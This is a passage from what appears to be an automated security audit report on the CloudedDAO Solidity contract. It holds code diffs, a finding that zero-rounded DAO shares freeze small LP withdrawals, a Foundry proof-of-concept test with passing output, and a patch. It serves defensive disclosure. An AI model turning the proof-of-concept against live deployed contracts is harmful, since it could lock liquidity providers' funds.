         minDaoOut = daoOut * (10000 - _slippageBPS) / 10000;
     }
 
     function quoteDAOForHYPE(uint256 _daoIn, uint256 _slippageBPS) external view returns (uint256 hypeOut, uint256 minHypeOut) {
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
 
         minHypeOut = hypeOut * (10000 - _slippageBPS) / 10000;
     }
 
     function mint(address _to, uint256 _amount) external nonReentrant isJury { _mint(_to, _amount); }
 
     function stakeToVote(uint256 _outcomeId, uint256 _amount) external nonReentrant {
         require(_amount > 0, "Amount must be greater than 0");
         require(balanceOf(msg.sender) >= _amount * DECIMALS, "Insufficient balance");
 
         uint256 _outcomeMarketId  = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         require(_outcomeMarketId != 0, "Invalid outcome id");
 
         uint8   _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         require(_status == 3, "Not voting window");
 
         outcomeStakeOf_[msg.sender][_outcomeId] += _amount;
         outcomeVotes[_outcomeId]                += _amount;
         voterActiveOutcomeIds_[msg.sender].add(_outcomeId);
         _update(msg.sender, address(this), _amount * DECIMALS);
 
         emit StakeToVote(msg.sender, _outcomeMarketId, _outcomeId, _amount, outcomeVotes[_outcomeId]);
     }
 
     function unstake(uint256 _outcomeId) external nonReentrant {
         require(outcomeStakeOf_[msg.sender][_outcomeId] > 0, "No token staked");
         uint256 _outcomeStakeOf = outcomeStakeOf_[msg.sender][_outcomeId];
         outcomeStakeOf_[msg.sender][_outcomeId] = 0;
 
         uint256 _outcomeMarketId = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         uint8 _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         if (_status == 3) outcomeVotes[_outcomeId] -= _outcomeStakeOf;
 
         voterActiveOutcomeIds_[msg.sender].remove(_outcomeId);
         _update(address(this), msg.sender, _outcomeStakeOf * DECIMALS);
 
         emit Unstake(msg.sender, _outcomeMarketId, _outcomeId, _outcomeStakeOf, outcomeVotes[_outcomeId]);
     }
 
     function buyBack() external payable nonReentrant isJury {
         pendingHYPE += msg.value;
 
         if (totalLP == 0) {
             uint256 _initialAmount = pendingHYPE;
             _mint(address(this), _initialAmount);
             pendingHYPE         -= _initialAmount;
             reserveHYPE         += _initialAmount;
             reserveDAO          += _initialAmount;
             totalLP             += _initialAmount;
             lpOf[address(this)] += _initialAmount;
             priceUpdatedAt_  = block.timestamp;
             oracleUpdatedAt_ = block.timestamp;
             oraclePrice_     = DECIMALS * reserveDAO / reserveHYPE;
         }
 
         _updateBuyBackOracle();
 
         uint256 _hypeIn = pendingHYPE;
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
-        uint256 _daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
+        uint256 _oracleReserveDAO = oracleReserveHYPE_ * oraclePrice_ / DECIMALS;
+        uint256 _daoOut = _hypeInAfterFee * _oracleReserveDAO / (oracleReserveHYPE_ * FEE_DEN + _hypeInAfterFee);
 
-        uint256 _oracleReserveDAO = reserveHYPE * oraclePrice_ / DECIMALS; //  // oraclePrice_ = oracleReserveDAO / reserveHYPE × DECIMALS
-        uint256 _minDaoOut = _hypeInAfterFee * _oracleReserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
-        _minDaoOut = _minDaoOut * (BPS_DEN - MAX_BUYBACK_DEVIATION_BPS) / BPS_DEN;
-
-        if (_daoOut > 0 && _daoOut >= _minDaoOut) {
+        if (_daoOut > 0 && _daoOut <= reserveDAO) {
             pendingHYPE -= _hypeIn;
             reserveHYPE += _hypeIn;
             reserveDAO  -= _daoOut;
             _burn(address(this), _daoOut);
         }
         else _daoOut = 0;
 
         emit BuyBack(msg.value, _daoOut, reserveHYPE, reserveDAO);
     }
 
     function addLiquidity(uint256 _daoAmount, uint256 _minLpOut, uint256 _deadline) external payable nonReentrant returns (uint256 lpAdded) {
         require(block.timestamp <= _deadline, "Expired");
         require(balanceOf(msg.sender) >= _daoAmount, "Insufficient balance");
 
         uint256 _hypeAmount = msg.value;
         require(_hypeAmount > 0 && _daoAmount > 0, "Zero amount");
 
         uint256 _hypeUsed; uint256 _daoUsed; uint256 _hypeRefund; uint256 _daoRefund;
         (lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
         require(lpAdded > 0 && lpAdded >= _minLpOut, "Insufficient LP minted");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] += lpAdded;
         totalLP          += lpAdded;
         reserveHYPE      += _hypeUsed;
         reserveDAO       += _daoUsed;
 
         _update(msg.sender, address(this), _daoUsed);
 
         if (_hypeRefund > 0) {
             (bool _success, ) = msg.sender.call{value: _hypeRefund}("");
             require(_success, "Refund failed");
         }
 
         emit AddLiquidity(msg.sender, lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function removeLiquidity(uint256 _lp, uint256 _minHypeOut, uint256 _minDaoOut, uint256 _deadline) external nonReentrant returns (uint256 hype, uint256 dao) {
         require(lpOf[msg.sender] >= _lp && _lp > 0, "Insufficient LP");
         require(block.timestamp <= _deadline, "Expired");
 
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO / totalLP;
         require(hype > 0 && dao > 0, "Zero output");
         require(hype >= _minHypeOut && dao >= _minDaoOut, "Exceed slippage");
 
         _updateBuyBackOracle();
 
         lpOf[msg.sender] -= _lp;
         totalLP          -= _lp;
         reserveHYPE      -= hype;
         reserveDAO       -= dao;
 
         _update(address(this), msg.sender, dao);
 
         (bool _success, ) = msg.sender.call{value: hype}("");
         require(_success, "HYPE transfer failed");
 
         emit RemoveLiquidity(msg.sender, _lp, hype, dao, lpOf[msg.sender], totalLP, reserveHYPE, reserveDAO);
     }
 
     function swapHYPEForDAO(uint256 _minDaoOut, uint256 _deadline) external payable nonReentrant returns (uint256 daoOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(msg.value > 0, "Zero input");
 
         uint256 _hypeInAfterFee = msg.value * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         require(daoOut >= _minDaoOut && daoOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveHYPE += msg.value;
         reserveDAO  -= daoOut;
         _update(address(this), msg.sender, daoOut);
 
         emit Swap(msg.sender, msg.value, 0, 0, daoOut, reserveHYPE, reserveDAO);
     }
 
     function swapDAOForHYPE(uint256 _daoIn, uint256 _minHypeOut, uint256 _deadline) external nonReentrant returns (uint256 hypeOut) {
         require(block.timestamp <= _deadline, "Expired");
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
         require(hypeOut >= _minHypeOut && hypeOut > 0, "Slippage/zero output");
 
         _updateBuyBackOracle();
 
         reserveDAO  += _daoIn;
         reserveHYPE -= hypeOut;
         _update(msg.sender, address(this), _daoIn);
 
         (bool _success, ) = msg.sender.call{value: hypeOut}("");
         require(_success, "HYPE transfer failed");
 
         emit Swap(msg.sender, 0, _daoIn, hypeOut, 0, reserveHYPE, reserveDAO);
     }
 
     function _calculateAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) private view returns (uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         if (totalLP == 0) {
             uint256 _sqrtK = _sqrt(_hypeAmount * _daoAmount);
             hypeUsed = _hypeAmount;
             daoUsed  = _daoAmount;
             lpAdded  = _sqrtK;
         } else {
             uint256 _lpByHype = _hypeAmount * totalLP / reserveHYPE;
             uint256 _lpByDAO  = _daoAmount  * totalLP / reserveDAO;
             lpAdded = _lpByHype < _lpByDAO ? _lpByHype : _lpByDAO;
             if (_lpByHype < _lpByDAO) {
                 hypeUsed  = _hypeAmount;
                 daoUsed   = _hypeAmount * reserveDAO / reserveHYPE;
                 daoRefund = _daoAmount - daoUsed;
             } else if (_lpByDAO < _lpByHype) {
                 daoUsed    = _daoAmount;
                 hypeUsed   = _daoAmount * reserveHYPE / reserveDAO;
                 hypeRefund = _hypeAmount - hypeUsed;
             } else {
                 hypeUsed = _hypeAmount;
                 daoUsed  = _daoAmount;
             }
             require(hypeUsed > 0 && daoUsed > 0, "Insufficient liquidity");
         }
     }
 
     function _sqrt(uint256 y) private pure returns (uint256 z) {
         if (y > 3) {
             z = y;
             uint256 x = y / 2 + 1;
             while (x < z) { z = x; x = (y / x + x) / 2; }
         } else if (y != 0) z = 1;
     }
 
     function _updateBuyBackOracle() private {
         if (totalLP == 0) return;
 
         uint256 _timestamp = block.timestamp;
 
         uint256 _priceElapsed = _timestamp - priceUpdatedAt_;
         if (_priceElapsed > 0) {
             priceCumulative_ += (reserveDAO * DECIMALS / reserveHYPE) * _priceElapsed;
             priceUpdatedAt_   = _timestamp;
         }
 
         uint256 _oracleElapsed = _timestamp - oracleUpdatedAt_;
         if (_oracleElapsed >= ORACLE_PERIOD) {
-            oraclePrice_      = (priceCumulative_ - oracleCumulative_) / _oracleElapsed;
-            oracleCumulative_ = priceCumulative_;
-            oracleUpdatedAt_  = _timestamp;
+            oraclePrice_       = (priceCumulative_ - oracleCumulative_) / _oracleElapsed;
+            oracleReserveHYPE_ = reserveHYPE;
+            oracleCumulative_  = priceCumulative_;
+            oracleUpdatedAt_   = _timestamp;
         }
     }
 }
\ No newline at end of file

Affected files

  • src/CloudedDAO.sol
  • CloudedDAO.sol

Validation output

[output truncated: 1173 lines & 64.4453125 KB skipped]
Ran 1 test suite in 12.69ms (2.72ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/Poc.t.sol:PocTest
[FAIL: panic: division or modulo by zero (0x12)] setUp() (gas: 0)

Encountered a total of 1 failing tests, 0 tests succeeded

Tip: Run `forge test --rerun` to retry only the 1 failed test
Tip: Run `forge test --debug --match-test <TEST_NAME>` to inspect one failing test in the debugger

Zero-rounded DAO share freezes LP withdrawals

High#298789Validity: Unreviewed

Comment:

A depleted reserveDAO signals that buybacks are working as intended. DAO token rewards and market arbitrage naturally replenish DAO reserves.

Source locations

Uploaded archive/CloudedDAO.sol (4 locations)

Lines 202-215 — _Buybacks reduce reserveDAO and burn DAO without reducing totalLP._ — _Buybacks reduce reserveDAO and burn DAO without reducing totalLP._

        uint256 _hypeIn = pendingHYPE;
        uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
        uint256 _daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);

        uint256 _oracleReserveDAO = reserveHYPE * oraclePrice_ / DECIMALS; //  // oraclePrice_ = oracleReserveDAO / reserveHYPE × DECIMALS
        uint256 _minDaoOut = _hypeInAfterFee * _oracleReserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
        _minDaoOut = _minDaoOut * (BPS_DEN - MAX_BUYBACK_DEVIATION_BPS) / BPS_DEN;

        if (_daoOut > 0 && _daoOut >= _minDaoOut) {
            pendingHYPE -= _hypeIn;
            reserveHYPE += _hypeIn;
            reserveDAO  -= _daoOut;
            _burn(address(this), _daoOut);
        }
⋯ code omitted for brevity ⋯

Lines 221-239 — _External providers receive non-transferable LP accounting that can later become dust relative to the depleted reserve._

    function addLiquidity(uint256 _daoAmount, uint256 _minLpOut, uint256 _deadline) external payable nonReentrant returns (uint256 lpAdded) {
        require(block.timestamp <= _deadline, "Expired");
        require(balanceOf(msg.sender) >= _daoAmount, "Insufficient balance");

        uint256 _hypeAmount = msg.value;
        require(_hypeAmount > 0 && _daoAmount > 0, "Zero amount");

        uint256 _hypeUsed; uint256 _daoUsed; uint256 _hypeRefund; uint256 _daoRefund;
        (lpAdded, _hypeUsed, _daoUsed, _hypeRefund, _daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
        require(lpAdded > 0 && lpAdded >= _minLpOut, "Insufficient LP minted");

        _updateBuyBackOracle();

        lpOf[msg.sender] += lpAdded;
        totalLP          += lpAdded;
        reserveHYPE      += _hypeUsed;
        reserveDAO       += _daoUsed;

        _update(msg.sender, address(this), _daoUsed);
⋯ code omitted for brevity ⋯

Lines 249-268 — _LP withdrawal uses floor division for both reserve outputs and reverts when either output is zero._ — _Removal floors DAO output and rejects zero DAO output before burning LP._

    function removeLiquidity(uint256 _lp, uint256 _minHypeOut, uint256 _minDaoOut, uint256 _deadline) external nonReentrant returns (uint256 hype, uint256 dao) {
        require(lpOf[msg.sender] >= _lp && _lp > 0, "Insufficient LP");
        require(block.timestamp <= _deadline, "Expired");

        hype = _lp * reserveHYPE / totalLP;
        dao  = _lp * reserveDAO / totalLP;
        require(hype > 0 && dao > 0, "Zero output");
        require(hype >= _minHypeOut && dao >= _minDaoOut, "Exceed slippage");

        _updateBuyBackOracle();

        lpOf[msg.sender] -= _lp;
        totalLP          -= _lp;
        reserveHYPE      -= hype;
        reserveDAO       -= dao;

        _update(address(this), msg.sender, dao);

        (bool _success, ) = msg.sender.call{value: hype}("");
        require(_success, "HYPE transfer failed");
⋯ code omitted for brevity ⋯

Lines 273-285 — _HYPE-for-DAO swaps reduce reserveDAO while leaving totalLP unchanged._

    function swapHYPEForDAO(uint256 _minDaoOut, uint256 _deadline) external payable nonReentrant returns (uint256 daoOut) {
        require(block.timestamp <= _deadline, "Expired");
        require(msg.value > 0, "Zero input");

        uint256 _hypeInAfterFee = msg.value * FEE_NUM;
        daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
        require(daoOut >= _minDaoOut && daoOut > 0, "Slippage/zero output");

        _updateBuyBackOracle();

        reserveHYPE += msg.value;
        reserveDAO  -= daoOut;
        _update(address(this), msg.sender, daoOut);

Description

removeLiquidity calculates each LP share using integer division and requires both the HYPE and DAO outputs to be nonzero before it decreases the LP balance. Consequently, a position whose proportional DAO entitlement rounds down to 0 cannot withdraw, even where its proportional HYPE entitlement is positive and the caller accepts 0 through _minDaoOut. Both buyBack and swapHYPEForDAO reduce reserveDAO without reducing totalLP, making this rounding condition reachable as DAO reserves are depleted relative to outstanding LP shares. The rejection occurs before any LP is burned or either asset is transferred, and the described withdrawal flow has no dust-safe or one-sided exit. A full-position LP holder can therefore remain recorded in lpOf while unable to redeem its residual claim.

Root cause

removeLiquidity couples LP redemption to nonzero floored outputs for both reserves while buyBack and swapHYPEForDAO can deplete reserveDAO independently of totalLP.

Impact

An LP holder can be unable to recover the positive HYPE portion of a dust-sized or diluted liquidity position because its DAO output rounds to 0. The position remains frozen until DAO reserves are replenished sufficiently for its pro-rata DAO output to become nonzero, which may not occur.

Proof of concept

Test case

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test} from "forge-std/Test.sol";
import {Clouded} from "../src/Clouded.sol";
import {CloudedDAO} from "../src/CloudedDAO.sol";
import {CloudedJury} from "../src/CloudedJury.sol";
import {CloudedManager} from "../src/CloudedManager.sol";

/// @dev Code is etched at CloudedManager's hard-coded governance-token address.
contract ManagerTokenMock {
    mapping(address => uint256) private balances;
    uint256 private supply;

    function configure(address holder, uint256 amount) external {
        supply = amount;
        balances[holder] = amount;
    }

    function balanceOf(address account) external view returns (uint256) {
        return balances[account];
    }

    function totalSupply() external view returns (uint256) {
        return supply;
    }
}

contract PocTest is Test {
    address internal constant GOVERNANCE_TOKEN = 0x668f6C73b2e6d023f758B18973065Ce2c11BDD7B;
    address internal admin = makeAddr("manager-admin");
    address internal creator = makeAddr("market-creator");
    address internal lpProvider = makeAddr("external-lp-provider");

    CloudedManager internal manager;
    CloudedJury internal jury;
    Clouded internal clouded;
    CloudedDAO internal dao;

    function setUp() public {
        ManagerTokenMock implementation = new ManagerTokenMock();
        vm.etch(GOVERNANCE_TOKEN, address(implementation).code);
        ManagerTokenMock(GOVERNANCE_TOKEN).configure(admin, 100 ether);

        manager = new CloudedManager();
        jury = new CloudedJury("Clouded Jury", "JURY", address(manager));
        clouded = new Clouded("ipfs://clouded/", address(manager), address(jury));
        dao = new CloudedDAO("Clouded DAO", "CDAO", address(jury), address(clouded));

        vm.startPrank(admin);
        manager.updateJuryAddrs(address(jury), address(clouded), address(dao));
        manager.updateCloudedAddr(address(clouded));
        manager.addToWhitelist(creator);
        vm.stopPrank();

        vm.deal(creator, 100 ether);
        vm.deal(lpProvider, 100 ether);

        // Public jury mint initializes the DAO AMM through the real Jury -> DAO.buyBack path.
        vm.prank(creator);
        jury.mint{value: 15 ether}(5);
        assertEq(dao.reserveHYPE(), 0.05 ether, "DAO pool bootstrapped with HYPE reserve");
        assertEq(dao.reserveDAO(), 0.05 ether, "DAO pool bootstrapped with DAO reserve");
        assertEq(dao.totalLP(), 0.05 ether, "initial protocol-owned LP minted");
    }

    function test_zeroRoundedDaoShareFreezesPositiveHypeLpWithdrawal() public {
        // The LP provider first uses the public swap entry point to acquire DAO.
        // This also depletes reserveDAO while totalLP is unchanged.
        uint256 swapIn = 1e12;
        (uint256 daoOut, uint256 minDaoOut) = dao.quoteHYPEForDAO(swapIn, 0);
        assertGt(daoOut, 1, "swap must provide DAO tokens for adding liquidity");

        vm.prank(lpProvider);
        dao.swapHYPEForDAO{value: swapIn}(minDaoOut, block.timestamp);
        assertEq(dao.balanceOf(lpProvider), daoOut, "provider received real DAO from the AMM");
        assertLt(dao.reserveDAO(), dao.totalLP(), "HYPE-for-DAO swap depleted DAO reserve below outstanding LP");

        // Add the smallest public LP position possible using the real addLiquidity path.
        // The 2 wei HYPE input avoids lpAdded rounding to zero after the prior swap.
        vm.prank(lpProvider);
        uint256 lpAdded = dao.addLiquidity{value: 2}(1, 1, block.timestamp);
        assertEq(lpAdded, 1, "provider received a one-wei LP position");
        assertEq(dao.lpOf(lpProvider), 1, "LP accounting records the external provider's position");

        // The live quote shows the frozen shape: positive HYPE entitlement but DAO floors to zero.
        (uint256 quotedHype, uint256 quotedDao) = dao.quoteRemoveLiquidity(dao.lpOf(lpProvider));
        assertGt(quotedHype, 0, "LP has a redeemable HYPE claim");
        assertEq(quotedDao, 0, "LP's proportional DAO claim rounds down to zero");

        uint256 hypeBalanceBefore = lpProvider.balance;
        uint256 lpBefore = dao.lpOf(lpProvider);
        uint256 totalLpBefore = dao.totalLP();

        // Even when the caller explicitly accepts zero DAO output, removeLiquidity rejects
        // before burning LP or transferring the positive HYPE amount.
        vm.expectRevert(bytes("Zero output"));
        vm.prank(lpProvider);
        dao.removeLiquidity(lpBefore, 0, 0, block.timestamp);

        assertEq(dao.lpOf(lpProvider), lpBefore, "frozen LP balance remains recorded");
        assertEq(dao.totalLP(), totalLpBefore, "no LP was burned");
        assertEq(lpProvider.balance, hypeBalanceBefore, "positive HYPE entitlement was not transferred");
    }
}

Setup script

#!/bin/bash
set -e

# Standalone PoC reproduction. Run from the repository root of a checkout at
# the audited commit, with the language toolchain installed.

# Place the downloaded PoC files at these paths before running:
#   test/Poc.t.sol

# build and run
cp Clouded.sol CloudedDAO.sol CloudedJury.sol CloudedManager.sol src/ && forge build
forge test --match-path test/Poc.t.sol -vv

Output

[output truncated: 1172 lines & 64.203125 KB skipped]
[test] forge test --match-path test/Poc.t.sol -vv
[test] exit code: 0

No files changed, compilation skipped

Ran 1 test for test/Poc.t.sol:PocTest
[PASS] test_zeroRoundedDaoShareFreezesPositiveHypeLpWithdrawal() (gas: 303141)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.10ms (267.51µs CPU time)

Ran 1 test suite in 10.33ms (2.10ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Considerations

PoC passed with forge test --match-path test/Poc.t.sol -vv using strategy unit:test-poc-t-sol. It demonstrates the freeze through public/runtime protocol paths: CloudedJury.mint initializes CloudedDAO.buyBack, the LP provider acquires DAO via public swapHYPEForDAO, adds a one-wei LP position via public addLiquidity, observes quoteRemoveLiquidity returning positive HYPE and zero DAO, then removeLiquidity(..., _minDaoOut=0, ...) reverts with Zero output while LP balance, totalLP, and the provider's HYPE balance remain unchanged. The PoC uses the harness-required manager-token vm.etch only for deployment/wiring, not to mutate DAO liquidity or force exploit state.

Validation reasoning

PoC validation command completed successfully.

Remediation

Explanation

Allow LP redemption when either proportional reserve output is positive instead of requiring both. Existing independent minimum-output checks ensure a caller only accepts a zero-rounded side explicitly, while a redemption with both outputs zero remains rejected.

Patch

diff
diff --git a/CloudedDAO.sol b/CloudedDAO.sol
--- a/CloudedDAO.sol
+++ b/CloudedDAO.sol
@@ -1,362 +1,362 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IJury { function updateMarketStatus(uint256) external returns (uint8); }
 
 interface IClouded { function getOutcomeMarketId(uint256) external view returns (uint256); }
 
 contract CloudedDAO is ERC20, ReentrancyGuardTransient {
     using Ids for Ids.Set;
 
     event StakeToVote(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event Unstake(address indexed voter, uint256 indexed marketId, uint256 indexed outcomeId, uint256 amount, uint256 outcomeVotes);
     event BuyBack(uint256 hypeReward, uint256 daoBurned, uint256 reserveHYPE, uint256 reserveDAO);
     event AddLiquidity(address indexed provider, uint256 lpAdded, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event RemoveLiquidity(address indexed provider, uint256 lpRemoved, uint256 hype, uint256 dao, uint256 lpOf, uint256 totalLP, uint256 reserveHYPE, uint256 reserveDAO);
     event Swap(address indexed user, uint256 hypeIn, uint256 daoIn, uint256 hypeOut, uint256 daoOut, uint256 reserveHYPE, uint256 reserveDAO);
 
     address public immutable JURY;
     address public immutable CLOUDED;
     uint256 constant DECIMALS = 1e18;
     uint256 private constant FEE_NUM = 997;
     uint256 private constant FEE_DEN = 1000;
 
     uint256 private constant BPS_DEN = 10000;
     uint256 private constant MAX_BUYBACK_DEVIATION_BPS = 2000;
     uint256 private constant ORACLE_PERIOD = 30 minutes;
 
     uint256 private priceCumulative_;
     uint256 private priceUpdatedAt_;
     uint256 private oraclePrice_;
     uint256 private oracleCumulative_;
     uint256 private oracleUpdatedAt_;
 
     mapping(uint256 => uint256) public  outcomeVotes;
     mapping(address => Ids.Set) private voterActiveOutcomeIds_;
     mapping(address => mapping(uint256 => uint256)) private outcomeStakeOf_;
 
     uint256 public pendingHYPE;
     uint256 public reserveHYPE;
     uint256 public reserveDAO;
     uint256 public totalLP;
 
     mapping(address => uint256) public lpOf;
 
     modifier isJury() { require(msg.sender == JURY, "Not authorized"); _; }
 
     constructor(string memory _name, string memory _symbol, address _juryAddr, address _cloudedAddr) ERC20(_name, _symbol) {
         JURY = _juryAddr;
         CLOUDED = _cloudedAddr;
     }
 
     function getVoterActiveOutcomeIds(address _voterAddr) external view returns (uint256[] memory) { return voterActiveOutcomeIds_[_voterAddr].getAll(); }
 
     function getVoterOutcomeVotes(address _voterAddr, uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeStakeOf_[_voterAddr][_outcomeIds[i]]; }
     }
 
     function getOutcomeVoteInBatch(uint256[] memory _outcomeIds) external view returns (uint256[] memory voterOutcomeVotes) {
         voterOutcomeVotes = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) { voterOutcomeVotes[i] = outcomeVotes[_outcomeIds[i]]; }
     }
 
     function getPool() external view returns (uint256, uint256, uint256) { return (reserveHYPE, reserveDAO, totalLP); }
 
     function getUserPosition(address _addr) external view returns (uint256 hypeBalance, uint256 daoBalance, uint256 lp, uint256 poolShareBPS, uint256 poolHYPE, uint256 poolDAO) {
         hypeBalance = address(_addr).balance;
         daoBalance  = balanceOf(_addr);
         lp          = lpOf[_addr];
         if (totalLP > 0 && lp > 0) {
             poolShareBPS = lp * 10000 / totalLP;
             poolHYPE     = lp * reserveHYPE / totalLP;
             poolDAO      = lp * reserveDAO  / totalLP;
         }
     }
 
     function quoteAddLiquidity(uint256 _hypeAmount, uint256 _daoAmount) external view returns (uint256 lp, uint256 hypeUsed, uint256 daoUsed, uint256 hypeRefund, uint256 daoRefund) {
         require(_hypeAmount > 0 || _daoAmount > 0, "Input amount");
 
         if (totalLP == 0) require(_hypeAmount > 0 && _daoAmount > 0, "Add both tokens to initiate pool");
 
         if (_hypeAmount > 0 && _daoAmount == 0) { _daoAmount  = _hypeAmount * reserveDAO  / reserveHYPE; }
         if (_daoAmount > 0 && _hypeAmount == 0) { _hypeAmount = _daoAmount  * reserveHYPE / reserveDAO; }
 
         (lp, hypeUsed, daoUsed, hypeRefund, daoRefund) = _calculateAddLiquidity(_hypeAmount, _daoAmount);
     }
 
     function quoteRemoveLiquidity(uint256 _lp) external view returns (uint256 hype, uint256 dao) {
         require(_lp != 0 && totalLP != 0, "No liquidity in the pool");
         hype = _lp * reserveHYPE / totalLP;
         dao  = _lp * reserveDAO  / totalLP;
     }
 
     function quoteHYPEForDAO(uint256 _hypeIn, uint256 _slippageBPS) external view returns (uint256 daoOut, uint256 minDaoOut) {
         require(_hypeIn > 0, "Zero input");
 
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
         daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
         minDaoOut = daoOut * (10000 - _slippageBPS) / 10000;
     }
 
     function quoteDAOForHYPE(uint256 _daoIn, uint256 _slippageBPS) external view returns (uint256 hypeOut, uint256 minHypeOut) {
         require(_daoIn > 0, "Zero input");
 
         uint256 _daoInAfterFee = _daoIn * FEE_NUM;
         hypeOut = _daoInAfterFee * reserveHYPE / (reserveDAO * FEE_DEN + _daoInAfterFee);
 
         minHypeOut = hypeOut * (10000 - _slippageBPS) / 10000;
     }
 
     function mint(address _to, uint256 _amount) external nonReentrant isJury { _mint(_to, _amount); }
 
     function stakeToVote(uint256 _outcomeId, uint256 _amount) external nonReentrant {
         require(_amount > 0, "Amount must be greater than 0");
         require(balanceOf(msg.sender) >= _amount * DECIMALS, "Insufficient balance");
 
         uint256 _outcomeMarketId  = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         require(_outcomeMarketId != 0, "Invalid outcome id");
 
         uint8   _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         require(_status == 3, "Not voting window");
 
         outcomeStakeOf_[msg.sender][_outcomeId] += _amount;
         outcomeVotes[_outcomeId]                += _amount;
         voterActiveOutcomeIds_[msg.sender].add(_outcomeId);
         _update(msg.sender, address(this), _amount * DECIMALS);
 
         emit StakeToVote(msg.sender, _outcomeMarketId, _outcomeId, _amount, outcomeVotes[_outcomeId]);
     }
 
     function unstake(uint256 _outcomeId) external nonReentrant {
         require(outcomeStakeOf_[msg.sender][_outcomeId] > 0, "No token staked");
         uint256 _outcomeStakeOf = outcomeStakeOf_[msg.sender][_outcomeId];
         outcomeStakeOf_[msg.sender][_outcomeId] = 0;
 
         uint256 _outcomeMarketId = IClouded(CLOUDED).getOutcomeMarketId(_outcomeId);
         uint8 _status = IJury(JURY).updateMarketStatus(_outcomeMarketId);
         if (_status == 3) outcomeVotes[_outcomeId] -= _outcomeStakeOf;
 
         voterActiveOutcomeIds_[msg.sender].remove(_outcomeId);
         _update(address(this), msg.sender, _outcomeStakeOf * DECIMALS);
 
         emit Unstake(msg.sender, _outcomeMarketId, _outcomeId, _outcomeStakeOf, outcomeVotes[_outcomeId]);
     }
 
     function buyBack() external payable nonReentrant isJury {
         pendingHYPE += msg.value;
 
         if (totalLP == 0) {
             uint256 _initialAmount = pendingHYPE;
             _mint(address(this), _initialAmount);
             pendingHYPE         -= _initialAmount;
             reserveHYPE         += _initialAmount;
             reserveDAO          += _initialAmount;
             totalLP             += _initialAmount;
             lpOf[address(this)] += _initialAmount;
             priceUpdatedAt_  = block.timestamp;
             oracleUpdatedAt_ = block.timestamp;
             oraclePrice_     = DECIMALS * reserveDAO / reserveHYPE;
         }
 
         _updateBuyBackOracle();
 
         uint256 _hypeIn = pendingHYPE;
         uint256 _hypeInAfterFee = _hypeIn * FEE_NUM;
         uint256 _daoOut = _hypeInAfterFee * reserveDAO / (reserveHYPE * FEE_DEN + _hypeInAfterFee);
